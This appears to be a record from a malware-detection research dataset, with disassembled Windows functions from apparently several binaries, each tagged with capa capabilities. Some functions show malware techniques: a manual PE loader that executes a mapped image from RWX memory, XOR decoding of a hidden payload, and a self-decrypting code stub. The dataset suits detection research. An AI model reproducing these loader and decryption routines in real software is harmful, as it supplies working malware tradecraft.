joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41885f
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41a308
push 0x418b4c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x41f018], 0xffffffff
or dword [0x41f01c], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x41f010]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x41f00c]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x41f014], eax
call fcn.00418b4b
cmp dword [0x41eae0], 0
jne 0x4188e2
push 0x418b48
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.00418b36
push 0x41d014
push 0x41d010
call sub.MSVCRT.dll__initterm
mov eax, dword [0x41f008]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x41f004]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x41d00c
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.004011a0
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x402f3c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004041b4
test esi, esi
jne 0x402f72
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004042a4
jmp 0x402f90
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402e40
mov edi, eax
test esi, esi
je 0x402f90
cmp dword [ebx], 0
je 0x402f90
dec esi
jmp 0x402f79
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402f9c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x409008], 0x8088405
inc edx
mov dword [ebx + 0x409008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4037fc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x409010]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403894
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403874
xor eax, eax
push ebp
push 0x40386d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4038b0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403874
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x409010]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x409010], ax
mov esp, ebp
pop ebp
ret

Function at 0x403f9c
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40a034], 0
je 0x403ffd
cmp word [0x40a208], 0xd7b2
jne 0x403fc5
cmp dword [0x40a210], 0
jbe 0x403fc5
mov eax, 0x40a204
call dword [0x40a220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404024
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x40901c], 0
jne 0x404019
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x404154
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0x10]
cmp dword [0x409024], 0
je 0x40417a
mov edx, esi
mov eax, ebx
call dword [0x409024]
jmp 0x404189
mov eax, 8
call fcn.00402bfc
mov dword [eax], ebx
mov dword [eax + 4], esi
mov byte [0x40a035], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x40411c
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc
Function at 0x404cc8
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
mov eax, dword [esi + 4]
mov dword [ebp - 8], eax
mov eax, dword [esi]
push eax
call fcn.00404c74
mov ebx, eax
mov eax, dword [esi]
movzx edi, word [eax + 6]
dec edi
test edi, edi
jl 0x404d64
inc edi
cmp dword [ebx + 0x10], 0
jne 0x404d32
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jle 0x404d2d
push 0x40
push 0x1000
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 8]
add eax, dword [ebx + 0xc]
push eax
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov dword [ebx + 8], esi
mov edx, dword [ebp - 4]
mov eax, esi
xor ecx, ecx
call fcn.004034b8
add ebx, 0x28
jmp 0x404d61
push 0x40
push 0x1000
mov eax, dword [ebx + 0x10]
push eax
mov eax, dword [ebp - 8]
add eax, dword [ebx + 0xc]
push eax
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov edx, dword [ebp + 8]
add edx, dword [ebx + 0x14]
mov ecx, dword [ebx + 0x10]
mov eax, esi
call fcn.00404bb8
mov dword [ebx + 8], esi
add ebx, 0x28
dec edi
jne 0x404cf0
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 0xc

Function at 0x4050f0
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
test eax, 0x4000000
je 0x405105
or edx, 0x200
test eax, 0x20000000
je 0x405138
test eax, 0x40000000
je 0x405124
test eax, 0x80000000
je 0x40511f
or edx, 0x40
jmp 0x40515f
or edx, 0x20
jmp 0x40515f
test eax, 0x80000000
je 0x405133
or edx, 0x80
jmp 0x40515f
or edx, 0x10
jmp 0x40515f
test eax, 0x40000000
je 0x405150
test eax, 0x80000000
je 0x40514b
or edx, 4
jmp 0x40515f
or edx, 2
jmp 0x40515f
test eax, 0x80000000
je 0x40515c
or edx, 8
jmp 0x40515f
or edx, 1
mov eax, edx
pop ebp
ret 4
Function at 0x405258
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec0
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
mov dword [ebp - 4], eax
xor ecx, ecx
push ebp
push 0x405464
push dword fs:[ecx]
mov dword fs:[ecx], esp
mov edx, dword [esi]
lea eax, [ebp - 0x48]
mov ecx, 0x40
call fcn.00404bb8
cmp word [ebp - 0x48], 0x5a4d
je 0x4052b2
mov eax, 0x40c7f4
mov edx, 0x405498
call fcn.00404208
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x405484
mov edx, dword [esi]
add edx, dword [ebp - 0xc]
lea eax, [ebp - 0x140]
mov ecx, 0xf8
call fcn.00404bb8
cmp dword [ebp - 0x140], 0x4550
je 0x4052ef
mov eax, 0x40c7f4
mov edx, 0x4054d0
call fcn.00404208
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x405484
push 0x40
push 0x2000
mov eax, dword [ebp - 0xf0]
push eax
mov eax, dword [ebp - 0x10c]
push eax
call sub.kernel32.dll_VirtualAlloc_1
mov ebx, eax
test ebx, ebx
jne 0x405326
push 0x40
push 0x2000
mov eax, dword [ebp - 0xf0]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov ebx, eax
test ebx, ebx
jne 0x405346
mov eax, 0x40c7f4
mov edx, 0x40550c
call fcn.00404208
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x405484
push 0x11
push 0
call sub.kernel32.dll_GetProcessHeap
push eax
call sub.kernel32.dll_HeapAlloc
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [eax + 4], ebx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0xc], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 8], edx
mov eax, dword [ebp - 8]
mov byte [eax + 0x10], 0
push 0x40
push 0x1000
mov eax, dword [ebp - 0xf0]
push eax
push ebx
call sub.kernel32.dll_VirtualAlloc_1
push 0x40
push 0x1000
mov eax, dword [ebp - 0xec]
push eax
push ebx
call sub.kernel32.dll_VirtualAlloc_1
mov edi, eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0xec]
mov edx, dword [esi]
mov eax, edi
call fcn.00404bb8
mov eax, edi
add eax, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
mov dword [edx], eax
mov edi, ebx
mov dword [eax + 0x34], edi
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x140]
push eax
mov eax, dword [esi]
push eax
call fcn.00404cc8
mov eax, edi
sub eax, dword [ebp - 0x10c]
test eax, eax
je 0x4053e9
push eax
mov eax, dword [ebp - 8]
push eax
call fcn.00404d70
mov eax, dword [ebp - 8]
push eax
call fcn.00404e6c
test al, al
jne 0x405405
mov eax, 0x40c7f4
mov edx, 0x40553c
call fcn.00404368
mov eax, dword [ebp - 8]
push eax
call fcn.00405168
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
test eax, eax
je 0x40545a
mov edx, eax
add edx, edi
mov esi, edx
test edx, edx
jne 0x405433
mov eax, 0x40c7f4
mov edx, 0x405574
call fcn.00404208
push 0
push 1
push edi
call esi
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x405453
mov eax, 0x40c7f4
mov edx, 0x4055a8
call fcn.00404208
mov eax, dword [ebp - 8]
mov byte [eax + 0x10], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40547e
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x405928
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov edi, eax
mov eax, dword [ebp - 4]
call fcn.0040451c
xor eax, eax
push ebp
push 0x405a34
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov edx, dword [ebp - 4]
mov al, 0x5c
call fcn.004058c0
mov esi, eax
test esi, esi
jle 0x405a19
lea eax, [ebp - 8]
push eax
mov ecx, esi
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00404594
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0x20006
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.0040452c
push eax
push edi
call sub.advapi32.dll_RegCreateKeyExA
test eax, eax
jne 0x405a19
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4059b2
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 8]
push eax
mov ecx, ebx
sub ecx, esi
lea edx, [esi + 1]
mov eax, dword [ebp - 4]
call fcn.00404594
cmp dword [ebp - 8], 0
jne 0x4059eb
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
sete bl
jmp 0x405a10
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.0040452c
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
sete bl
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405a3b
lea eax, [ebp - 8]
mov edx, 2
call fcn.004041d8
ret
Function at 0x406c4c
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef4
mov ebx, edx
push esp
push 0
push 0
push eax
push 0
call sub.SHFolder.dll_SHGetFolderPathA
test eax, 0x80000000
sete al
neg al
sbb eax, eax
test eax, eax
je 0x406c82
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.00404320
jmp 0x406c89
mov eax, ebx
call fcn.004041b4
mov eax, dword [ebx]
mov dword [esp + 0x108], eax
mov eax, dword [esp + 0x108]
test eax, eax
je 0x406ca2
sub eax, 4
mov eax, dword [eax]
mov edx, dword [ebx]
cmp byte [edx + eax - 1], 0x5c
je 0x406cb7
mov eax, ebx
mov edx, 0x406cc8
call fcn.00404368
add esp, 0x10c
pop ebx
ret

Function at 0x406d7c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040451c
xor eax, eax
push ebp
push 0x406df5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
test eax, eax
je 0x406daf
sub eax, 4
mov eax, dword [eax]
mov esi, eax
test esi, esi
jle 0x406dd4
mov ebx, 1
lea eax, [ebp - 4]
call fcn.0040458c
mov edx, dword [ebp - 4]
movzx edx, byte [edx + ebx - 1]
xor edx, edi
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x406dba
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404208
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406dfc
lea eax, [ebp - 4]
call fcn.004041b4
ret
Function at 0x406ef8
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040451c
xor eax, eax
push ebp
push 0x40702b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.0040424c
lea ecx, [ebp - 0x14]
mov edx, dword [0x40d21c]
mov eax, dword [ebp - 8]
call fcn.00406d7c
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 8]
call fcn.0040424c
lea ecx, [ebp - 0x18]
mov edx, dword [0x40d218]
mov eax, dword [ebp - 8]
call fcn.00406d7c
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 8]
call fcn.0040424c
lea eax, [ebp - 8]
call fcn.0040458c
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 8]
mov eax, edx
test eax, eax
je 0x406f7a
sub eax, 4
mov eax, dword [eax]
mov ebx, eax
mov eax, edx
test eax, eax
je 0x406f87
sub eax, 4
mov eax, dword [eax]
test eax, eax
jle 0x406fbd
mov eax, ebx
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.00405258
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x406fbd
push 0x407038
lea eax, [ebp - 0x10]
push eax
call fcn.004055d4
mov edx, dword [0x4097bc]
mov ebx, eax
mov eax, edx
call ebx
inc dword [0x40d220]
cmp dword [0x40d220], 0xa
jle 0x407003
mov eax, dword [0x40d208]
call fcn.0040452c
mov edx, eax
lea eax, [ebp - 0x1c]
call fcn.004042e4
mov eax, dword [ebp - 0x1c]
call fcn.00406a54
test al, al
je 0x406ffc
mov eax, dword [0x40d208]
call fcn.0040452c
push eax
call sub.kernel32.dll_DeleteFileA
xor eax, eax
mov dword [0x40d220], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407032
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.004041d8
lea eax, [ebp - 8]
mov edx, 2
call fcn.004041d8
ret

Function at 0x407048
Capabilities:
Resolve dns

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebp, edx
mov ebx, eax
mov eax, ebp
call fcn.004041b4
mov eax, ebx
call fcn.0040452c
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x407087
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x407080
push dword [edi]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, ebp
call fcn.004042e4
inc ebx
mov edi, dword [esi + ebx*4]
test edi, edi
jne 0x40706f
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4080b4
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov eax, 0x407974
call fcn.00404a1c
xor eax, eax
push ebp
push 0x408180
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x14]
mov eax, 1
call fcn.00402f3c
mov eax, dword [ebp - 0x14]
mov edx, 0x408198
call fcn.004044c4
jne 0x40813d
mov ebx, 5
lea edx, [ebp - 0x18]
mov eax, 2
call fcn.00402f3c
mov eax, dword [ebp - 0x18]
call fcn.00406a54
test al, al
je 0x40813d
lea edx, [ebp - 0x1c]
mov eax, 2
call fcn.00402f3c
mov eax, dword [ebp - 0x1c]
call fcn.0040452c
push eax
call sub.kernel32.dll_DeleteFileA
push 0xa
call sub.kernel32.dll_Sleep_1
dec ebx
jne 0x4080ff
call fcn.00407568
call fcn.00405eb0
push 0
push 0
push 0x40d224
mov ecx, 0x407888
xor edx, edx
xor eax, eax
call fcn.00404154
push 0
call sub.kernel32.dll_ExitThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408187
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.004041d8
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401412
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
mov eax, dword [0x4488f0]
or eax, 8
push eax
xor ebx, ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x4014a7
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov edi, 0x105
jmp 0x401464
cmp dword [ebp + 0x10], ebx
jne 0x40149b
push ebx
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 4]
call fcn.00401412
test eax, eax
jne 0x401476
push edi
lea eax, [ebp - 0x10c]
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x40144b
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 2
call fcn.00405fc0
cmp eax, ebx
je 0x4014ae
push ebx
push dword [0x4488f0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x4014a7
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x4488f0], ebx
jne 0x4014a4
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x4014a4
jmp 0x4014a7
Function at 0x403204
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [0x42499c]
sub esi, dword [0x4289a8]
push edi
add esi, dword [esp + 0x18]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
add eax, 0x1f4
xor ebx, ebx
cmp esi, ebx
mov dword [0x448860], eax
jle 0x403362
push dword [0x4289a4]
call fcn.004031ed
push ebx
push ebx
push dword [0x4289a8]
push dword [0x40a018]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov dword [0x424998], esi
mov dword [0x41490c], ebx
mov ebp, 0x41c998
mov eax, dword [0x4289a0]
sub eax, dword [0x4289a4]
mov edi, 0x4000
cmp eax, edi
jg 0x403279
mov edi, eax
push edi
mov esi, 0x4249a0
push esi
call fcn.004031bb
test eax, eax
je 0x403374
add dword [0x4289a4], edi
mov dword [0x41c928], esi
mov dword [0x41c92c], edi
cmp dword [0x4487ec], ebx
je 0x4032d0
cmp dword [0x4488e0], ebx
jne 0x4032d0
mov eax, dword [0x424998]
sub eax, dword [0x42499c]
push ebx
sub eax, dword [esp + 0x1c]
add eax, dword [0x4289a8]
mov dword [0x41490c], eax
call fcn.0040311c
pop ecx
mov ecx, 0x41c910
mov dword [0x41c930], ebp
mov dword [0x41c934], 0x8000
call fcn.004067fe
test eax, eax
jl 0x403379
mov esi, dword [0x41c930]
sub esi, ebp
je 0x40332e
push ebx
lea eax, [esp + 0x14]
push eax
push esi
push ebp
push dword [0x40a018]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x40337e
cmp esi, dword [esp + 0x10]
jne 0x40337e
add dword [0x4289a8], esi
cmp dword [0x41c92c], ebx
jne 0x40329f
jmp 0x40333a
cmp dword [0x41c92c], ebx
jne 0x403379
cmp edi, ebx
je 0x403379
mov eax, dword [0x42499c]
mov ecx, eax
sub ecx, dword [0x4289a8]
add ecx, dword [esp + 0x18]
test ecx, ecx
jg 0x403263
push ebx
push ebx
push eax
push dword [0x40a018]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 1
call fcn.0040311c
pop ecx
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 4
or eax, 0xffffffff
jmp 0x40336c
push 0xfffffffffffffffd
pop eax
jmp 0x40336c
push 0xfffffffffffffffe
jmp 0x40337b
Function at 0x403382
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push esi
push edi
xor edi, edi
cmp eax, edi
jl 0x4033ae
mov ecx, dword [0x448858]
push edi
add eax, ecx
push edi
push eax
push dword [0x40a018]
mov dword [0x42499c], eax
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 4
pop esi
push esi
call fcn.00403204
cmp eax, edi
jl 0x4034a7
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_ReadFile]
push edi
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp + 8]
push eax
push dword [0x40a018]
call ebx
test eax, eax
je 0x4034a3
cmp dword [ebp - 4], esi
jne 0x4034a3
push dword [ebp + 8]
add dword [0x42499c], esi
call fcn.00403204
cmp eax, edi
mov dword [ebp - 8], eax
jl 0x4034a6
cmp dword [ebp + 0x10], edi
jne 0x403472
cmp dword [ebp + 8], edi
jle 0x40349e
mov esi, 0x4249a0
mov edi, 0x4000
cmp dword [ebp + 8], edi
jge 0x403422
mov edi, dword [ebp + 8]
push 0
lea eax, [ebp - 4]
push eax
push edi
push esi
push dword [0x40a018]
call ebx
test eax, eax
je 0x4034a3
cmp edi, dword [ebp - 4]
jne 0x4034a3
push 0
lea eax, [ebp + 0x14]
push eax
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x40346e
cmp dword [ebp + 0x14], edi
jne 0x40346e
mov eax, dword [ebp - 4]
add dword [ebp - 8], eax
sub dword [ebp + 8], eax
add dword [0x42499c], eax
cmp dword [ebp + 8], 0
jg 0x403415
jmp 0x40349e
push 0xfffffffffffffffe
jmp 0x4034a5
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x40347d
mov eax, dword [ebp + 0x14]
push edi
lea ecx, [ebp - 4]
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a018]
call ebx
test eax, eax
je 0x4034a3
mov eax, dword [ebp - 4]
add dword [0x42499c], eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
jmp 0x4034a6
push 0xfffffffffffffffd
pop eax
pop ebx
pop edi
pop esi
leave
ret 0x10
Function at 0x4059f9
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
push eax
push 0x43a9f0
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push dword [ebp + 8]
mov dword [0x43a9f0], 0x44
push eax
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x405a34
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x405b7b
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x405b98
and eax, 0xfffffffe
push eax
push dword [esp + 8]
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
ret 4

Function at 0x405b9b
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
mov ecx, eax
inc ecx
push 0
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
ret 0xc

Function at 0x405bca
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
dec edi
mov dword [ebp + 8], 0x61736e
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push 0x1a
pop ecx
xor edx, edx
div ecx
push esi
push 0
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
test eax, eax
jne 0x405c0e
test edi, edi
jne 0x405bd5
mov byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x405c08

Function at 0x405c12
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0x14]
lea eax, [ebp + 0x18]
push eax
mov eax, dword [ebp + 0x18]
xor ebx, ebx
neg eax
sbb eax, eax
and eax, 0x100
or eax, 0x20019
push eax
push ebx
push dword [ebp + 0xc]
mov byte [esi], bl
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405c83
lea eax, [ebp + 0xc]
push eax
push esi
lea eax, [ebp + 0x14]
push eax
push ebx
push dword [ebp + 0x10]
mov dword [ebp + 0xc], 0x2000
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x405c72
cmp dword [ebp + 0x14], 1
je 0x405c74
cmp dword [ebp + 0x14], 2
je 0x405c74
mov byte [esi], bl
push dword [ebp + 0x18]
mov byte [esi + 0x1fff], bl
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
pop ebp
ret 0x14